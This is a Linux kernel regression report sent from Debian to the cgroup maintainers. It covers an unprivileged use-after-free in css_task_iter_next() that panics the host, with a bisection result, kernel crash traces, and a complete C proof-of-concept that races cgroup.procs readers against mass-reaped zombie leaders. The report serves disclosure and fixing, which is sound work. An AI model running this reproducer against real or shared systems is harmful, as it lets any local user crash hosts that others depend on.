Control: forwarded -1
https://lore.kernel.org/regressions/[email protected]
Hi Tejun, Johannes and Michael,
In Debian Noah Elias Feldt reported a UAF which is hit in production
and provided a reproducer for the issue (attached as well), the
bugreport can be found at https://bugs.debian.org/1144314 . First
quoting the orignal post:
On Thu, Aug 13, 2026 at 02:38:34PM +0000, Noah Elias Feldt wrote:
> Subject: linux-binary-7.1.3+deb13-amd64: unprivileged user-triggerable
> use-after-free host panic
> Package: src:linux
> X-Debbugs-Cc: [email protected]
> Version: 7.1.3-1~bpo13+1
> Severity: important
>
> Dear Maintainer,
>
> An unprivileged local user can panic the entire host. Reading a cgroup's
> world-readable cgroup.procs triggers a use-after-free of struct task_struct in
> css_task_iter_next(), ending in "Kernel panic - not syncing: Fatal exception
> in
> interrupt".
> Nodes hard-panic and reboot organically under normal load on
> the affected kernel. It also reproduces deterministically within seconds with
> the attached PoC as an ordinary user (no root, no capabilities, no
> namespaces).
>
> *** Reporter, please consider answering these questions, where appropriate ***
>
> * What led up to the situation?
> An unprivileged process reads its own world-readable cgroup.procs while,
> on the same CPU, thread-group leaders in that cgroup exit and are
> mass-reaped (attached poc.c). Not only synthetic: several of our
> production
> nodes have already panicked this way organically under normal container
> workload (Kubernetes / cri-o) on the affected kernel.
>
> * What exactly did you do?
> Ran the reproducer as an ordinary user on an Debian 13 KVM guest
> (trixie-backports kernel)
>
> * What was the outcome?
> In ~12-70 s: "refcount_t: addition on 0" in css_task_iter_next()
> (get_task_struct on usage==0) -> premature free -> NULL rcu_head.func in
> rcu_do_batch (RIP:0x0) -> "Kernel panic - not syncing". Host dead -- same
> signature as the organic production panics. Full trace attached
> (dmesg.log).
>
> * What outcome did you expect instead?
> Reading cgroup.procs must never crash the host.
>
> -- Package-specific info:
> ** Version:
> Linux version 7.1.3+deb13-amd64 ([email protected])
> (x86_64-linux-gnu-gcc-14 (Debian 14.2.0-19) 14.2.0, GNU ld (GNU Binutils for
> Debian) 2.44) #1 SMP PREEMPT_DYNAMIC Debian 7.1.3-1~bpo13+1 (2026-07-12)
>
> ** Command line:
> BOOT_IMAGE=/boot/vmlinuz-7.1.3+deb13-amd64
> root=PARTUUID=2d450ecb-3079-4437-bfb2-753908b0375b ro console=tty0
> console=ttyS0,115200 earlyprintk=ttyS0,115200 consoleblank=0
With an additional reproducer provided by Noah, I could bisect the
change down to
commit 260fbcb92bbeacfcd050410fdc2d24ab15044400
Author: Tejun Heo <[email protected]>
Date: Tue Oct 28 20:19:16 2025 -1000
cgroup: Move dying_tasks cleanup from cgroup_task_release() to
cgroup_task_free()
Currently, cgroup_task_exit() adds thread group leaders with live
member
threads to their css_set's dying_tasks list (so cgroup.procs
iteration can
still see the leader), and cgroup_task_release() later removes them
with
list_del_init(&task->cg_list).
An upcoming patch will defer the dying_tasks list addition, moving
it from
cgroup_task_exit() (called from do_exit()) to a new function called
from
finish_task_switch(). However, release_task() (which calls
cgroup_task_release()) can run either before or after
finish_task_switch(),
creating a race where cgroup_task_release() might try to remove the
task from
dying_tasks before or while it's being added.
Move the list_del_init() from cgroup_task_release() to
cgroup_task_free() to
fix this race. cgroup_task_free() runs from __put_task_struct(),
which is
always after both paths, making the cleanup safe.
Cc: Dan Schatzberg <[email protected]>
Cc: Peter Zijlstra <[email protected]>
Signed-off-by: Tejun Heo <[email protected]>
But there was the suspect that the matching commit might be
d245698d727a ("cgroup: Defer task cgroup unlink until after the task
is done switching out").
Using the provided reproducer in the Debian bug this leads to:
[ 2686.174523] ------------[ cut here ]------------
[ 2686.175443] refcount_t: addition on 0; use-after-free.
[ 2686.176414] WARNING: lib/refcount.c:25 at refcount_warn_saturate+0x6a/0x90,
CPU#0: 1144314-poc/1170
[ 2686.178044] Modules linked in: binfmt_misc intel_rapl_msr intel_rapl_common
kvm_amd ccp iTCO_wdt intel_pmc_bxt watchdog kvm i2c_i801 vga16fb i2c_smbus
vgastate irqbypass lpc_ich pcspkr virtio_net button virtio_balloon net_failover
failover joydev evdev nfsd auth_rpcgss nfs_acl lockd grace sunrpc drm
efi_pstore configfs vsock_loopback vmw_vsock_virtio_transport
vmw_vsock_virtio_transport_common vsock ext4 crc16 mbcache jbd2
crc32c_cryptoapi ahci xhci_pci libahci xhci_hcd libata usbcore scsi_mod psmouse
virtio_blk scsi_common usb_common serio_raw dm_mirror dm_region_hash dm_log
dm_mod qemu_fw_cfg virtio_rng autofs4 aesni_intel gf128mul
[ 2686.187398] CPU: 0 UID: 1000 PID: 1170 Comm: 1144314-poc Not tainted
7.2-amd64 #1 PREEMPT(lazy) Debian 7.2~rc7-1~exp1
[ 2686.189214] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS
1.16.3-debian-1.16.3-2 04/01/2014
[ 2686.190800] RIP: 0010:refcount_warn_saturate+0x6a/0x90
[ 2686.191731] Code: 00 48 8d 3d 88 8f 8d 01 67 48 0f b9 3a e9 2e 37 73 00 48
8d 3d 87 8f 8d 01 67 48 0f b9 3a e9 1d 37 73 00 48 8d 3d 86 8f 8d 01 <67> 48 0f
b9 3a e9 0c 37 73 00 48 8d 3d 85 8f 8d 01 67 48 0f b9 3a
[ 2686.194789] RSP: 0018:ffffcb9443cafa40 EFLAGS: 00010046
[ 2686.195752] RAX: ffff8b12532c8fa8 RBX: ffff8b1265ae6018 RCX: 0000000000000025
[ 2686.197023] RDX: 0000000000000000 RSI: 0000000000000002 RDI: ffffffffb15746b0
[ 2686.198268] RBP: 0000000000000206 R08: 0000000000000007 R09: 0000000000000004
[ 2686.199530] R10: ffff8b12673b3c40 R11: 0000000000000fdd R12: ffffcb9443cafb08
[ 2686.200782] R13: ffff8b1253899b40 R14: ffff8b124fbf0000 R15: 0000000000000000
[ 2686.202029] FS: 00007f0fff4266c0(0000) GS:ffff8b1309d55000(0000)
knlGS:0000000000000000
[ 2686.203462] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 2686.204506] CR2: 00005639b734d010 CR3: 0000000115a8d000 CR4: 0000000000350ef0
[ 2686.205780] Call Trace:
[ 2686.206308] <TASK>
[ 2686.206781] css_task_iter_next+0xcc/0xf0
[ 2686.207552] kernfs_seq_next+0x2a/0xa0
[ 2686.208291] ? cgroup_procs_show+0x2a/0x40
[ 2686.209075] seq_read_iter+0x2f5/0x490
[ 2686.209798] vfs_read+0x268/0x390
[ 2686.210454] ksys_read+0x73/0xf0
[ 2686.211114] do_syscall_64+0xe1/0x640
[ 2686.211828] ? do_syscall_64+0x11e/0x640
[ 2686.212580] ? kernfs_seq_start+0x53/0xb0
[ 2686.213340] ? __pfx_cgroup_seqfile_stop+0x10/0x10
[ 2686.214233] ? __mod_memcg_state+0xd7/0x1d0
[ 2686.215035] ? seq_read_iter+0x214/0x490
[ 2686.215782] ? __memcg_slab_free_hook+0x16c/0x1c0
[ 2686.216664] ? __memcg_slab_free_hook+0x16c/0x1c0
[ 2686.217594] ? kmem_cache_free+0x25f/0x440
[ 2686.218490] ? __x64_sys_close+0x3d/0x80
[ 2686.219281] ? do_syscall_64+0x11e/0x640
[ 2686.220044] ? __mod_memcg_state+0xd7/0x1d0
[ 2686.220839] ? __memcg_slab_free_hook+0x16c/0x1c0
[ 2686.221719] ? __memcg_slab_free_hook+0x16c/0x1c0
[ 2686.222616] ? kmem_cache_free+0x25f/0x440
[ 2686.223403] ? __x64_sys_close+0x3d/0x80
[ 2686.224167] ? do_syscall_64+0x11e/0x640
[ 2686.224927] ? do_syscall_64+0x11e/0x640
[ 2686.225686] ? do_syscall_64+0x11e/0x640
[ 2686.226446] ? do_syscall_64+0x98/0x640
[ 2686.227193] entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 2686.228121] RIP: 0033:0x7f1010cea19e
[ 2686.228828] Code: 08 0f 85 35 4a ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce
4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 48
83 ec 08 bf 01 00 00 00 e8 82 dc 05 00 bf 01 00 00 00 89
[ 2686.231921] RSP: 002b:00007f0fff415e08 EFLAGS: 00000246 ORIG_RAX:
0000000000000000
[ 2686.233234] RAX: ffffffffffffffda RBX: 00007f0fff4266c0 RCX: 00007f1010cea19e
[ 2686.234465] RDX: 0000000000010000 RSI: 00007f0fff415e90 RDI: 0000000000000029
[ 2686.235710] RBP: 00007f0fff425ea0 R08: 0000000000000000 R09: 0000000000000000
[ 2686.236959] R10: 0000000000000000 R11: 0000000000000246 R12: 00007ffc3405bde0
[ 2686.238197] R13: 00007ffc3405bed6 R14: 00007f0fff426ce4 R15: 00007f0ffec26000
[ 2686.239444] </TASK>
[ 2686.239922] ---[ end trace 0000000000000000 ]---
[ 2686.244408] ------------[ cut here ]------------
[ 2686.245246] WARNING: kernel/fork.c:790 at __put_task_struct+0x150/0x1c0,
CPU#0: 1144314-poc/1164
[ 2686.246763] Modules linked in: binfmt_misc intel_rapl_msr intel_rapl_common
kvm_amd ccp iTCO_wdt intel_pmc_bxt watchdog kvm i2c_i801 vga16fb i2c_smbus
vgastate irqbypass lpc_ich pcspkr virtio_net button virtio_balloon net_failover
failover joydev evdev nfsd auth_rpcgss nfs_acl lockd grace sunrpc drm
efi_pstore configfs vsock_loopback vmw_vsock_virtio_transport
vmw_vsock_virtio_transport_common vsock ext4 crc16 mbcache jbd2
crc32c_cryptoapi ahci xhci_pci libahci xhci_hcd libata usbcore scsi_mod psmouse
virtio_blk scsi_common usb_common serio_raw dm_mirror dm_region_hash dm_log
dm_mod qemu_fw_cfg virtio_rng autofs4 aesni_intel gf128mul
[ 2686.255681] CPU: 0 UID: 1000 PID: 1164 Comm: 1144314-poc Tainted: G W
7.2-amd64 #1 PREEMPT(lazy) Debian 7.2~rc7-1~exp1
[ 2686.257660] Tainted: [W]=WARN
[ 2686.258228] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS
1.16.3-debian-1.16.3-2 04/01/2014
[ 2686.259718] RIP: 0010:__put_task_struct+0x150/0x1c0
[ 2686.260570] Code: fe ff ff 48 89 cf be 03 00 00 00 e8 7a 73 72 00 48 89 df
48 83 c4 08 5b e9 2d fe ff ff 0f 0b 8b 43 28 85 c0 0f 84 da fe ff ff <0f> 0b 65
48 3b 1d ae ec 94 02 0f 85 d8 fe ff ff 0f 0b e9 d1 fe ff
[ 2686.263431] RSP: 0018:ffffcb9440003ed0 EFLAGS: 00010286
[ 2686.264319] RAX: 00000000c0000000 RBX: ffff8b12532c8000 RCX: ffff8b124022fac0
[ 2686.265494] RDX: ffffffffaf5743e0 RSI: 0000000000000001 RDI: ffff8b12532c8000
[ 2686.266667] RBP: ffff8b12bbc33500 R08: ffff8b125368b700 R09: ffffffffaf66e8e3
[ 2686.267832] R10: fffff61cc44da200 R11: ffff8b124022a700 R12: ffffcb9440003f10
[ 2686.269010] R13: ffff8b12468cb700 R14: 0000000000000003 R15: 0000000000000000
[ 2686.270176] FS: 00007f100242c6c0(0000) GS:ffff8b1309d55000(0000)
knlGS:0000000000000000
[ 2686.271594] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 2686.272640] CR2: 00007f9e074e6b20 CR3: 0000000115a8d000 CR4: 0000000000350ef0
[ 2686.273817] Call Trace:
[ 2686.274307] <IRQ>
[ 2686.274744] rcu_do_batch+0x1b3/0x4f0
[ 2686.275413] rcu_core+0x131/0x2b0
[ 2686.276030] handle_softirqs+0xd8/0x310
[ 2686.276734] ? clockevents_program_event+0xf5/0x1e0
[ 2686.277577] __irq_exit_rcu+0x9e/0xf0
[ 2686.278243] sysvec_apic_timer_interrupt+0x71/0x90
[ 2686.279087] </IRQ>
[ 2686.279527] <TASK>
[ 2686.279968] asm_sysvec_apic_timer_interrupt+0x1a/0x20
[ 2686.280856] RIP: 0010:_raw_spin_unlock_irqrestore+0x1d/0x40
[ 2686.281795] Code: 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa 0f 1f
44 00 00 e8 f2 07 00 00 90 f7 c6 00 02 00 00 74 06 fb 0f 1f 44 00 00 <65> ff 0d
5c 66 af 01 74 05 e9 65 24 00 00 e8 10 2d 0e ff e9 5b 24
[ 2686.284661] RSP: 0018:ffffcb9443c7fcf0 EFLAGS: 00000206
[ 2686.285549] RAX: 0000000000000001 RBX: ffff8b1265ae0558 RCX: ffff8b1261d4ac00
[ 2686.286727] RDX: ffff8b12485b5330 RSI: 0000000000000206 RDI: ffffffffb1f81d88
[ 2686.287891] RBP: 0000000000000206 R08: 0000000000000003 R09: 0000000000000004
[ 2686.289065] R10: ffff8b12673b3f50 R11: 0000000000000ff1 R12: ffffcb9443c7fdb8
[ 2686.290230] R13: ffff8b12665eb180 R14: ffff8b1240338000 R15: 0000000000000000
[ 2686.291402] css_task_iter_next+0x95/0xf0
[ 2686.292117] kernfs_seq_next+0x2a/0xa0
[ 2686.292806] ? cgroup_procs_show+0x2a/0x40
[ 2686.293534] seq_read_iter+0x2f5/0x490
[ 2686.294217] vfs_read+0x268/0x390
[ 2686.294842] ksys_read+0x73/0xf0
[ 2686.295447] do_syscall_64+0xe1/0x640
[ 2686.296114] ? kmem_cache_free+0x25f/0x440
[ 2686.296851] ? __x64_sys_close+0x3d/0x80
[ 2686.297554] ? do_syscall_64+0x11e/0x640
[ 2686.298257] ? do_syscall_64+0x11e/0x640
[ 2686.298967] ? do_syscall_64+0x11e/0x640
[ 2686.299777] ? do_syscall_64+0x98/0x640
[ 2686.300606] entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 2686.301529] RIP: 0033:0x7f1010cea19e
[ 2686.302231] Code: 08 0f 85 35 4a ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce
4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 48
83 ec 08 bf 01 00 00 00 e8 82 dc 05 00 bf 01 00 00 00 89
[ 2686.305341] RSP: 002b:00007f100241be08 EFLAGS: 00000246 ORIG_RAX:
0000000000000000
[ 2686.306708] RAX: ffffffffffffffda RBX: 00007f100242c6c0 RCX: 00007f1010cea19e
[ 2686.308108] RDX: 0000000000010000 RSI: 00007f100241be90 RDI: 000000000000002a
[ 2686.309527] RBP: 00007f100242bea0 R08: 0000000000000000 R09: 0000000000000000
[ 2686.310935] R10: 0000000000000000 R11: 0000000000000246 R12: 00007ffc3405bde0
[ 2686.312388] R13: 00007ffc3405bed6 R14: 00007f100242cce4 R15: 00007f1001c2c000
[ 2686.313805] </TASK>
[ 2686.314326] ---[ end trace 0000000000000000 ]---
[ 2691.097916] slab task_struct start ffff8b12532c8000 pointer offset 2600
size 7040
[ 2691.099234] list_del corruption. next->prev should be ffff8b124f3e0a28, but
was ffff8b12514d8a28. (next=ffff8b12532c8a28)
[ 2691.101069] ------------[ cut here ]------------
[ 2691.101915] kernel BUG at lib/list_debug.c:65!
[ 2691.102745] Oops: invalid opcode: 0000 [#1] SMP NOPTI
[ 2691.103662] CPU: 0 UID: 1000 PID: 9204 Comm: 1144314-poc Tainted: G W
7.2-amd64 #1 PREEMPT(lazy) Debian 7.2~rc7-1~exp1
[ 2691.105695] Tainted: [W]=WARN
[ 2691.106288] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS
1.16.3-debian-1.16.3-2 04/01/2014
[ 2691.107892] RIP: 0010:__list_del_entry_valid_or_report+0x10a/0x120
[ 2691.108989] Code: 89 d7 48 89 14 24 e8 25 3c be ff 48 8b 14 24 48 8b 74 24
08 48 c7 c7 18 12 a7 b0 48 8b 42 08 48 89 d1 48 89 c2 e8 b6 d1 74 ff <0f> 0b 66
2e 0f 1f 84 00 00 00 00 00 66 2e 0f 1f 84 00 00 00 00 00
[ 2691.112049] RSP: 0018:ffffcb944927fb68 EFLAGS: 00010046
[ 2691.112991] RAX: 000000000000006d RBX: 0000000000000011 RCX: 0000000000000027
[ 2691.114228] RDX: 0000000000000000 RSI: 0000000000000001 RDI: ffff8b12bbc1d100
[ 2691.115474] RBP: ffff8b124f306300 R08: 0000000000000000 R09: ffffcb944927fa10
[ 2691.116712] R10: ffffffffb12f24b0 R11: 3fffffffffffefff R12: ffff8b1241f5d540
[ 2691.117950] R13: ffff8b124f3e4250 R14: ffff8b12508f8d80 R15: ffff8b124f3e0000
[ 2691.119196] FS: 0000000000000000(0000) GS:ffff8b1309d55000(0000)
knlGS:0000000000000000
[ 2691.120587] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 2691.121611] CR2: 00007f1010e48000 CR3: 0000000161e2a000 CR4: 0000000000350ef0
[ 2691.122857] Call Trace:
[ 2691.123372] <TASK>
[ 2691.123834] release_task+0x436/0x560
[ 2691.124539] do_exit+0x6a2/0xaa0
[ 2691.125178] do_group_exit+0x2d/0xc0
[ 2691.125868] __x64_sys_exit_group+0x18/0x20
[ 2691.126662] x64_sys_call+0x102c/0x1530
[ 2691.127393] do_syscall_64+0xe1/0x640
[ 2691.128098] ? file_update_time_flags+0x81/0x110
[ 2691.128951] ? fault_dirty_shared_page+0xa2/0x160
[ 2691.129816] ? do_fault+0x146/0x580
[ 2691.130493] ? __pte_offset_map+0x1b/0x100
[ 2691.131273] ? __handle_mm_fault+0x960/0xf60
[ 2691.132074] ? count_memcg_events+0xd9/0x210
[ 2691.132875] ? handle_mm_fault+0x1e5/0x2f0
[ 2691.133643] ? do_user_addr_fault+0x2b4/0x7b0
[ 2691.134456] ? irqentry_exit+0x43/0x730
[ 2691.135194] ? do_syscall_64+0x98/0x640
[ 2691.135927] entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 2691.136843] RIP: 0033:0x7f1010d2c438
[ 2691.137540] Code: Unable to access opcode bytes at 0x7f1010d2c40e.
[ 2691.138633] RSP: 002b:00007ffc3405bf98 EFLAGS: 00000202 ORIG_RAX:
00000000000000e7
[ 2691.139859] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f1010d2c438
[ 2691.141027] RDX: 0000000000000002 RSI: ffffffffffffffb0 RDI: 0000000000000000
[ 2691.142186] RBP: 00007ffc3405bfb0 R08: 0000000000000000 R09: 0000000000000000
[ 2691.143352] R10: 0000000000000000 R11: 0000000000000202 R12: 00000000000003e8
[ 2691.144512] R13: 0000000000000002 R14: 0000000000000030 R15: 00005639b734cdd8
[ 2691.145673] </TASK>
[ 2691.146124] Modules linked in: binfmt_misc intel_rapl_msr intel_rapl_common
kvm_amd ccp iTCO_wdt intel_pmc_bxt watchdog kvm i2c_i801 vga16fb i2c_smbus
vgastate irqbypass lpc_ich pcspkr virtio_net button virtio_balloon net_failover
failover joydev evdev nfsd auth_rpcgss nfs_acl lockd grace sunrpc drm
efi_pstore configfs vsock_loopback vmw_vsock_virtio_transport
vmw_vsock_virtio_transport_common vsock ext4 crc16 mbcache jbd2
crc32c_cryptoapi ahci xhci_pci libahci xhci_hcd libata usbcore scsi_mod psmouse
virtio_blk scsi_common usb_common serio_raw dm_mirror dm_region_hash dm_log
dm_mod qemu_fw_cfg virtio_rng autofs4 aesni_intel gf128mul
[ 2691.154482] ---[ end trace 0000000000000000 ]---
[ 2691.155292] RIP: 0010:__list_del_entry_valid_or_report+0x10a/0x120
[ 2691.156315] Code: 89 d7 48 89 14 24 e8 25 3c be ff 48 8b 14 24 48 8b 74 24
08 48 c7 c7 18 12 a7 b0 48 8b 42 08 48 89 d1 48 89 c2 e8 b6 d1 74 ff <0f> 0b 66
2e 0f 1f 84 00 00 00 00 00 66 2e 0f 1f 84 00 00 00 00 00
[ 2691.159161] RSP: 0018:ffffcb944927fb68 EFLAGS: 00010046
[ 2691.160045] RAX: 000000000000006d RBX: 0000000000000011 RCX: 0000000000000027
[ 2691.161204] RDX: 0000000000000000 RSI: 0000000000000001 RDI: ffff8b12bbc1d100
[ 2691.162364] RBP: ffff8b124f306300 R08: 0000000000000000 R09: ffffcb944927fa10
[ 2691.163532] R10: ffffffffb12f24b0 R11: 3fffffffffffefff R12: ffff8b1241f5d540
[ 2691.164691] R13: ffff8b124f3e4250 R14: ffff8b12508f8d80 R15: ffff8b124f3e0000
[ 2691.165852] FS: 0000000000000000(0000) GS:ffff8b1309d55000(0000)
knlGS:0000000000000000
[ 2691.167168] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 2691.168129] CR2: 00007f1010e48000 CR3: 0000000161e2a000 CR4: 0000000000350ef0
[ 2691.169290] note: 1144314-poc[9204] exited with irqs disabled
[ 2691.170276] note: 1144314-poc[9204] exited with preempt_count 3
[ 2691.171334] Fixing recursive fault but reboot is needed!
#regzbot introduced: 260fbcb92bbeacfcd050410fdc2d24ab15044400
#regzbot link: https://bugs.debian.org/1144314
Noah Elias Feldt is added here as well to provide more information as
needed.
Regards,
Salvatore
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <unistd.h>
static int PIN_CPU = 0;
static int READERS = 48;
static int M = 1000;
static int PARALLEL = 2;
static char cg_procs[600];
static char cg_threads[600];
static int *arrived;
static void pin_self(void)
{
cpu_set_t s;
CPU_ZERO(&s);
CPU_SET(PIN_CPU, &s);
if (sched_setaffinity(0, sizeof s, &s) != 0) { // inherited across fork()/pthread_create()
fprintf(stderr, "poc: cannot confine to cpu %d: %s\n"
"poc: pick a CPU that is online and allowed here "
"(Cpus_allowed_list in /proc/self/status)\n",
PIN_CPU, strerror(errno));
_exit(1);
}
}
static int verify_pinned(void)
{
cpu_set_t s;
CPU_ZERO(&s);
if (sched_getaffinity(0, sizeof s, &s) != 0) {
fprintf(stderr, "poc: sched_getaffinity: %s\n", strerror(errno));
_exit(1);
}
if (CPU_COUNT(&s) != 1 || !CPU_ISSET(PIN_CPU, &s)) {
fprintf(stderr, "poc: not confined to cpu %d -- %d CPUs still allowed\n",
PIN_CPU, CPU_COUNT(&s));
_exit(1);
}
return sched_getcpu();
}
static void find_cgroup(void)
{
char buf[1024] = {0};
int fd = open("/proc/self/cgroup", O_RDONLY);
if (fd >= 0) {
ssize_t n = read(fd, buf, sizeof buf - 1);
if (n > 0)
buf[n] = 0;
close(fd);
}
char path[512] = "/";
char *p = strstr(buf, "0::");
if (p) {
p += 3;
char *e = strchr(p, '\n');
if (e)
*e = 0;
snprintf(path, sizeof path, "%s", p);
}
snprintf(cg_procs, sizeof cg_procs, "/sys/fs/cgroup%s/cgroup.procs", path);
snprintf(cg_threads, sizeof cg_threads, "/sys/fs/cgroup%s/cgroup.threads", path);
}
static void *reader(void *a)
{
(void)a;
pin_self();
char buf[1 << 16];
for (;;) {
int fd = open(cg_procs, O_RDONLY);
if (fd >= 0) {
while (read(fd, buf, sizeof buf) > 0)
;
close(fd);
}
fd = open(cg_threads, O_RDONLY);
if (fd >= 0) {
while (read(fd, buf, sizeof buf) > 0)
;
close(fd);
}
}
return 0;
}
static void *worker(void *a)
{
(void)a;
usleep(2000);
return 0;
}
static void barrier_wait(void)
{
__atomic_add_fetch(arrived, 1, __ATOMIC_SEQ_CST);
for (int i = 0; i < 10000; i++) {
if (__atomic_load_n(arrived, __ATOMIC_SEQ_CST) >= PARALLEL)
return;
usleep(200);
}
}
static void zombie_factory(void)
{
pin_self();
// Undo the reaper's inherited SIG_IGN: with SIGCHLD ignored *here*, each
// leader would be autoreaped by its own last worker's release_task() (the
// zap_leader path) instead of piling up for the burst.
signal(SIGCHLD, SIG_DFL);
pthread_attr_t at;
pthread_attr_init(&at);
pthread_attr_setstacksize(&at, 64 * 1024);
for (int i = 0; i < M; i++) {
if (fork() == 0) {
pthread_t t;
if (pthread_create(&t, &at, worker, 0) == 0)
pthread_detach(t);
pthread_exit(0); // leader zombifies; process ends with the worker
}
// non-reaping parent: no wait()
}
pthread_attr_destroy(&at);
usleep(30000); // let them collapse onto dying_tasks before the reap
barrier_wait(); // ... then everyone bursts at once
}
static void run_reaper(void)
{
prctl(PR_SET_CHILD_SUBREAPER, 1);
signal(SIGCHLD, SIG_IGN);
pid_t f = fork();
if (f == 0) {
zombie_factory();
_exit(0);
}
if (f > 0)
while (wait(0) > 0) // ends in ECHILD once the pool is reaped
;
_exit(0);
}
static int envi(const char *k, int def)
{
const char *v = getenv(k);
return v ? atoi(v) : def;
}
int main(void)
{
PIN_CPU = envi("POC_CPU", PIN_CPU);
READERS = envi("POC_READERS", READERS);
M = envi("POC_M", M);
PARALLEL = envi("POC_PARALLEL", PARALLEL);
pin_self();
int on = verify_pinned();
find_cgroup();
fprintf(stderr, "poc: uid=%d cpu=%d (running on %d) readers=%d M=%d parallel=%d\npoc: iterating %s\n",
(int)getuid(), PIN_CPU, on, READERS, M, PARALLEL, cg_procs);
arrived = mmap(0, sizeof *arrived, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (arrived == MAP_FAILED)
return 1;
for (int i = 0; i < READERS; i++) {
pthread_t t;
pthread_create(&t, 0, reader, 0);
pthread_detach(t);
}
for (;;) {
__atomic_store_n(arrived, 0, __ATOMIC_SEQ_CST);
for (int i = 0; i < PARALLEL; i++) {
pid_t c = fork();
if (c == 0)
run_reaper(); // never returns
}
while (wait(0) > 0)
;
}
return 0;
}